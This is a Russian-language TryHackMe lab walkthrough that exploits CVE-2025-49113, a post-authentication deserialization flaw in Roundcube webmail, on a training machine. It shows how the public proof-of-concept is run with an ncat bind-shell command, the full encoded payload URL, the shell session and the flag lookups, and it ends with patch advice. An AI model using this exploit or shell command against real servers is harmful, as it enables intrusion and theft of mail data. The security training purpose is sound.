TryHackMe - Roundcube
Эксплойт уязвимости CVE-2025-49113 в лабораторных условиях
Введение
В этой комнате мы хотим понять, как работают уязвимости десериализации. Сериализация преобразует объект (как в PHP, Java или Python) в формат, который мы можем хранить или отправлять. Десериализация делает обратное — но если входные данные не проверяются должным образом, злоумышленники могут использовать это для выполнения вредоносного кода.
Кирилл Фирсов обнаружил подобную уязвимость в веб-почте Roundcube. Проблема заключалась в файле upload.php, где параметр _from не проверялся должным образом перед десериализацией. В коммитах для версий 1.5.10 и 1.6.11 показано, как они исправили это — добавив проверки для блокировки небезопасных символов в _from.
Nmap
Похоже, у нас есть точная ссылка и учетные данные, поэтому Nmap не нужен.
Эксплуатация
Давайте перейдем по адресу http://10.10.191.67/roundcube, как нам было указано.
Нам отображается форма входа в Roundcube:
Давайте используем предоставленные учетные данные:
Имя пользователя: ellieptic
Пароль: ChangeMe123
Давайте скачаем наш эксплойт, демонстрирующий работоспособность концепции
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(rene㉿kali)-[~/tryhackme/roundcube]
└─$ git clone https://github.com/fearsoff-org/CVE-2025-49113
Cloning into 'CVE-2025-49113'...
remote: Enumerating objects: 8, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 8 (delta 1), reused 8 (delta 1), pack-reused 0 (from 0)
Receiving objects: 100% (8/8), 7.33 KiB | 3.67 MiB/s, done.
Resolving deltas: 100% (1/1), done.
┌──(rene㉿kali)-[~/tryhackme/roundcube]
└─$ cd CVE-2025-49113/
┌──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ ls
CVE-2025-49113.php rc_install.sh README.md
Выполнение эксплойта
Для запуска эксплойта необходимо добавить следующие аргументы:
php CVE-2025-49113.php target_url username password command
Итак, давайте сделаем это и подождем завершения выполнения
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ php CVE-2025-49113.php http://10.10.191.67/roundcube ellieptic ChangeMe123 "ncat -lvnp 4444 -e /bin/bash"
### Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
### Retrieving CSRF token and session cookie...
### Authenticating user: ellieptic
### Authentication successful
### Command to be executed:
ncat -lvnp 4444 -e /bin/bash
### Injecting payload...
### End payload: http://10.10.191.67/roundcube/?_from=edit-%21%C7%22%C7%3B%C7i%C7%3A%C70%C7%3B%C7O%C7%3A%C71%C76%C7%3A%C7%22%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%22%C7%3A%C71%C7%3A%C7%7B%C7S%C7%3A%C72%C76%C7%3A%C7%22%C7%5C%C70%C70%C7C%C7r%C7y%C7p%C7t%C7_%C7G%C7P%C7G%C7_%C7E%C7n%C7g%C7i%C7n%C7e%C7%5C%C70%C70%C7_%C7g%C7p%C7g%C7c%C7o%C7n%C7f%C7%22%C7%3B%C7S%C7%3A%C73%C70%C7%3A%C7%22%C7n%C7c%C7a%C7t%C7+%C7-%C7l%C7v%C7n%C7p%C7+%C74%C74%C74%C74%C7+%C7-%C7e%C7+%C7%2F%C7b%C7i%C7n%C7%2F%C7b%C7a%C7s%C7h%C7%3B%C7%23%C7%22%C7%3B%C7%7D%C7i%C7%3A%C70%C7%3B%C7b%C7%3A%C70%C7%3B%C7%7D%C7%22%C7%3B%C7%7D%C7%7D%C7&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload
### Payload injected successfully
### Executing payload...
PHP Warning: file_get_contents(http://10.10.191.67/roundcube/): Failed to open stream: HTTP request failed! in /home/rene/tryhackme/roundcube/CVE-2025-49113/CVE-2025-49113.php on line 237
### Error: CSRF token not found in response body
Мы видим, что получили ошибку, но команда netcat прошла успешно, и мы можем подключиться и выполнять команды:
1
2
3
4
┌──(rene㉿kali)-[~/tryhackme/roundcube/CVE-2025-49113]
└─$ nc 10.10.191.67 4444
pwd
/var/www/html/roundcube
Вопрос: У одной из пользователей имя Мэгги; какая у неё фамилия?
1
2
3
4
5
6
7
8
cd /home
ls
algorithm
ellieptic
maggiebyte
terrybyte
testuser
ubuntu
Ответ:
1
Byte
Вопрос: Какое значение флага сохраняется в /etc?
1
2
cd /etc
cat flag.txt
Для этой уязвимости требуются только действительные учетные данные веб-почты, и она работает на стандартных установках Roundcube. Ее трудно обнаружить, поскольку трафик эксплойта может выглядеть совершенно нормально. Из-за серьезности уязвимости пользователям, использующим 1.5.x или 1.6.x, следует обновиться до 1.5.10 или 1.6.11. Если обновление невозможно, временным решением является блокировка доступа к upload.php.



